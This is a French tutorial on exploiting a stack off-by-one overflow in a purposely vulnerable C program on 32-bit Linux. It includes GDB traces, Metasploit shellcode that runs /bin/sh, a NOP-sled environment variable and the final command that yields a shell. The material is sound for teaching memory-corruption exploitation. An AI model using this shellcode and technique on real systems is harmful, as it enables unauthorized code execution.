# off-by-one dans la stack sur Linux

description : Article sur l'exploitation d'un off-by-one dans la stack sur Linux
categories : Hacking;
tags : Linux; C; Asm;

off-by-one dans la stack sur GNU/Linux

Note : Ce qui suit a été réalisé sur une Debian GNU/Linux 3.1 (Sarge) i386.

Introduction

Pour cet article nous allons utiliser ce code source vulnérable (vuln.c) :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <string.h>

#define LIMIT 1024

void func(char *arg)
{
    char buffer[LIMIT];
    int i;

    for (i = 0; arg[i] != '\0' && i < LIMIT; i++)
    {
        buffer[i] = arg[i];
    }

    /* char buf[5];
     * buf[5] = 0; // FAUX !
     * le cinquième élément de buf se trouve à buf[4]
     * 0 1 2 3 4
     */
    buffer[LIMIT] = 0; // je déborde d'un char avec '\0'
}

int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        printf("%s <arg>\n", argv[0]);

        return 1;
    }

    func(argv[1]);

    return 0;
}

Je compile avec l'option mpreferred-stack-boundary=2 :

gcc vuln.c -o vuln -mpreferred-stack-boundary=2

Dans cette source, nous pouvons voir que le null byte qui permet de terminer la chaîne de caractères contenue dans la variable "buffer" déborde d'un char la capacité de cette variable.

Rappel sur les appels de fonction en C

En C lorsqu'on appelle une fonction, deux mécanismes bien connus en assembleur sont créés : le prolog et l'epilog.

Le prolog est appelé à l'entrée de la fonction, donc avant son exécution. Il sert à préparer la pile ou la stack pour son bon déroulement.

Quant à l'epilog, il sert à restaurer la pile dans l’état où elle était avant l'appel de la fonction.

Voici à quoi correspond un prolog :

1
2
push ebp     ; sauvegarde d'ebp
mov ebp,esp  ; création du stack frame

Pour l'epilog, on peut en trouver de deux sortes, mais qui font exactement la même chose :

1
2
leave
ret         ; pop l'adresse de la prochaine insn dans eip

Ou bien :

1
2
3
mov esp,ebp ; destruction du stack frame
pop ebp     ; restaure ebp
ret         ; pop l'adresse de la prochaine insn dans eip

Le bug

On va utiliser GDB et surveiller la valeur des registres.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
gdb -q ./vuln

(gdb) set disassembly-flavor intel

(gdb) disass func
Dump of assembler code for function func:
0x08048384 <func+0>:	push   ebp ; !! ebp saved
0x08048385 <func+1>:	mov    ebp,esp
0x08048387 <func+3>:	sub    esp,0x404
0x0804838d <func+9>:	mov    DWORD PTR [ebp-1028],0x0
0x08048397 <func+19>:	mov    eax,DWORD PTR [ebp-1028]
0x0804839d <func+25>:	add    eax,DWORD PTR [ebp+8]
0x080483a0 <func+28>:	cmp    BYTE PTR [eax],0x0
0x080483a3 <func+31>:	je     0x80483d9 <func+85>
0x080483a5 <func+33>:	cmp    DWORD PTR [ebp-1028],0x3ff
0x080483af <func+43>:	jle    0x80483b3 <func+47>
0x080483b1 <func+45>:	jmp    0x80483d9 <func+85>
0x080483b3 <func+47>:	lea    eax,[ebp-1024]
0x080483b9 <func+53>:	mov    edx,eax
0x080483bb <func+55>:	add    edx,DWORD PTR [ebp-1028]
0x080483c1 <func+61>:	mov    eax,DWORD PTR [ebp-1028]
0x080483c7 <func+67>:	add    eax,DWORD PTR [ebp+8]
0x080483ca <func+70>:	movzx  eax,BYTE PTR [eax]
0x080483cd <func+73>:	mov    BYTE PTR [edx],al
0x080483cf <func+75>:	lea    eax,[ebp-1028]
0x080483d5 <func+81>:	inc    DWORD PTR [eax]
0x080483d7 <func+83>:	jmp    0x8048397 <func+19>
0x080483d9 <func+85>:	mov    BYTE PTR [ebp],0x0 ; !! buffer[LIMIT] = 0; on déborde d'un char la capacité de la variable buffer
0x080483dd <func+89>:	leave  
0x080483de <func+90>:	ret ; !! epilog de func()
End of assembler dump.

(gdb) disass main
Dump of assembler code for function main:
0x080483df <main+0>:	push   ebp
0x080483e0 <main+1>:	mov    ebp,esp
0x080483e2 <main+3>:	sub    esp,0xc
0x080483e5 <main+6>:	cmp    DWORD PTR [ebp+8],0x2
0x080483e9 <main+10>:	je     0x8048409 <main+42>
0x080483eb <main+12>:	mov    eax,DWORD PTR [ebp+12]
0x080483ee <main+15>:	mov    eax,DWORD PTR [eax]
0x080483f0 <main+17>:	mov    DWORD PTR [esp+4],eax
0x080483f4 <main+21>:	mov    DWORD PTR [esp],0x8048544
0x080483fb <main+28>:	call   0x80482b0 <_init+56>
0x08048400 <main+33>:	mov    DWORD PTR [ebp-4],0x1
0x08048407 <main+40>:	jmp    0x8048420 <main+65>
0x08048409 <main+42>:	mov    eax,DWORD PTR [ebp+12]
0x0804840c <main+45>:	add    eax,0x4
0x0804840f <main+48>:	mov    eax,DWORD PTR [eax]
0x08048411 <main+50>:	mov    DWORD PTR [esp],eax
0x08048414 <main+53>:	call   0x8048384 <func>
0x08048419 <main+58>:	mov    DWORD PTR [ebp-4],0x0 ; !! Après l'epilog de func(), ebp se retrouve avec son dernier byte écrasé par le '\0'
0x08048420 <main+65>:	mov    eax,DWORD PTR [ebp-4]
0x08048423 <main+68>:	leave  
0x08048424 <main+69>:	ret ; !! epilog de main()
0x08048425 <main+70>:	nop    
0x08048426 <main+71>:	nop    
0x08048427 <main+72>:	nop    
0x08048428 <main+73>:	nop    
0x08048429 <main+74>:	nop    
0x0804842a <main+75>:	nop    
0x0804842b <main+76>:	nop    
0x0804842c <main+77>:	nop    
0x0804842d <main+78>:	nop    
0x0804842e <main+79>:	nop    
0x0804842f <main+80>:	nop    
End of assembler dump.

(gdb) b *0x08048419
Breakpoint 1 at 0x8048419

(gdb) r $(python -c 'print "a"*2048')
Starting program: /home/sysc4ll/off-by-one/vuln $(python -c 'print "a"*2048')

Breakpoint 1, 0x08048419 in main ()

(gdb) p $ebp
$1 = (void *) 0xbffff400    ; !! l'epilog de func() a eu lieu ; ebp se retrouve avec son dernier byte écrasé par le '\0'

(gdb) x/8x $ebp ; x/8x 0xbffff400
0xbffff400:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffff410:	0x61616161	0x61616161	0x61616161	0x61616161

(gdb) c
Continuing.

Breakpoint 2, 0x08048424 in main ()

(gdb) p $ebp ; !! l'epilog de main() a eu lieu ; ebp contient nos 'a'
$2 = (void *) 0x61616161

(gdb) p $eip
$3 = (void *) 0x8048424

(gdb) p $esp
$4 = (void *) 0xbffff404

(gdb) x/8x $esp
0xbffff404:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffff414:	0x61616161	0x61616161	0x61616161	0x61616161

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) 

Ici, nous voyons bien que le dernier byte d'ebp après l'epilog de func() est écrasé par le caractère null '\0' qui termine la chaîne de caractères.
Sa valeur est de 0xbffff400.

Si on regarde ce qu'il y a à l'adresse 0xbffff400 avec la commande x/8x $ebp ou x/8x 0xbffff400 on y voit nos 'a' sous forme hexadécimal : 0x61.

Donc, après l'epilog de func(), le haut de la pile pour main() contient nos 'a'.
Du coup, à l'epilog de main(), ebp va prendre comme valeur 0x61616161.

C'est durant l'instruction ret de main que ça plante, donc durant le pop de l'adresse de la prochaine insn dans eip
Le registre eip va donc également prendre la valeur 0x61616161, même si aucune instruction ne s'y trouve.

L'exploitation

Pour l'exploitation, je vais utiliser un shellcode provenant de Metasploit installé sur Kali GNU/Linux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf6 > use payload/linux/x86/exec 
msf6 payload(linux/x86/exec) > show options

Module options (payload/linux/x86/exec):
                                                                                                                   
   Name  Current Setting  Required  Description                                                                    
   ----  ---------------  --------  -----------                                                                    
   CMD                    no        The command string to execute                                                  
                                                                                                                   
msf6 payload(linux/x86/exec) > set CMD /bin/sh
CMD => /bin/sh                                                                                                     
msf6 payload(linux/x86/exec) > generate -b '\x00'                                                                  
# linux/x86/exec - 70 bytes                                                                                        
# https://metasploit.com/                                                                                          
# Encoder: x86/shikata_ga_nai                                                                                      
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,                                                        
# PrependSetreuid=false, PrependSetuid=false,                                                                      
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, MeterpreterDebugLevel=0, 
# RemoteMeterpreterDebugFile=, CMD=/bin/sh, 
# NullFreeVersion=false
buf = 
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" +
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" +
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" +
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"
msf6 payload(linux/x86/exec) > 

Je place ce shellcode dans une variable d'environnement :

1
2
3
4
5
6
export EGG=$(python -c 'print "\x90" * 1024 + \
"\xd9\xcf\xb8\x8f\x8e\xe2\xd6\xd9\x74\x24\xf4\x5b\x2b\xc9" + \
"\xb1\x0b\x83\xeb\xfc\x31\x43\x16\x03\x43\x16\xe2\x7a\xe4" + \
"\xe9\x8e\x1d\xab\x8b\x46\x30\x2f\xdd\x70\x22\x80\xae\x16" + \
"\xb2\xb6\x7f\x85\xdb\x28\x09\xaa\x49\x5d\x01\x2d\x6d\x9d" + \
"\x3d\x4f\x04\xf3\x6e\xfc\xbe\x0b\x26\x51\xb7\xed\x05\xd5"')

Pour trouver l'adresse sur laquelle jumper nous allons utiliser GDB pour chercher dans la stack les NOPs.

ulimit -c unlimited
1
2
./vuln $(python -c 'print "aaaa" * 2048')
Segmentation fault (core dumped)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
gdb -q -c core 
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) x/5000x $esp
0xbfffd808:	0x61616161	0x61616161	0x61616161	0x61616161
0xbfffd818:	0x61616161	0x61616161	0x61616161	0x61616161
(bla bla bla)
(bla bla bla)
0xbffffce8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffcf8:	0x90909090	0x90909090	0x90909090	0x90909090
(bla bla bla)
(gdb) 

Je vais utiliser l'adresse 0xbffffce8 pour sauter dans les NOP (0x90) et finir par exécuter le shellcode :

1
2
sysc4ll@debian:~/off-by-one$ ./vuln $(python -c 'print "\xe8\xfc\xff\xbf" * 2048')
sh-2.05b$        

W00t \o/